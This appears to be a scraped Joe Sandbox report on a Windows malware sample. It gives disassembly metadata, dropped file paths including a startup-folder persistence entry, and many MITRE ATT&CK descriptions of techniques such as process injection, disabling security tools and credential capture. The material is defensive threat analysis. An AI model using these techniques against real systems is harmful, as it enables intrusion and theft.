Instruction Fuzzy Hash: 63E06DB42003128FD330AF25E50AB427AE8AF44304F14891DE486CA349DB79D444DF91

Function 00FD0251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00FD0091

Part of subcall function 0100C6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,00FD027A,?), ref: 0100C6E7
Part of subcall function 0100C6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0100C6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00FD0289

Strings

WIN_XPe, xrefs: 00FD00A4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 710b97305b211688809e1eac46558030e81dcbeb0aa075d6266e8980d7ed1df9
Instruction ID: 6b07041886a8fc463ba848ef80141b9a4dc072ab2a09ce8237ff38ac523240e7
Opcode Fuzzy Hash: 710b97305b211688809e1eac46558030e81dcbeb0aa075d6266e8980d7ed1df9
Instruction Fuzzy Hash: AFF03071804209EFDB25DF50D5587EC7BB8AB08300F280086E146A2184CB754F44EF20

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 66fd8d779da5e_EscortsRadios.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js

C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr

C:\Users\user\AppData\Local\DatumHub Technologies\s

C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

C:\Users\user\AppData\Local\Temp\527294\d

C:\Users\user\AppData\Local\Temp\Audi

C:\Users\user\AppData\Local\Temp\Bottle

C:\Users\user\AppData\Local\Temp\Casio

C:\Users\user\AppData\Local\Temp\Duties

C:\Users\user\AppData\Local\Temp\Integral

C:\Users\user\AppData\Local\Temp\Jeffrey

C:\Users\user\AppData\Local\Temp\Jeffrey.bat (copy)

C:\Users\user\AppData\Local\Temp\Liechtenstein

C:\Users\user\AppData\Local\Temp\Recorder

C:\Users\user\AppData\Local\Temp\Sunny

C:\Users\user\AppData\Local\Temp\Warren

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url

Windows Analysis Report
66fd8d779da5e_EscortsRadios.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre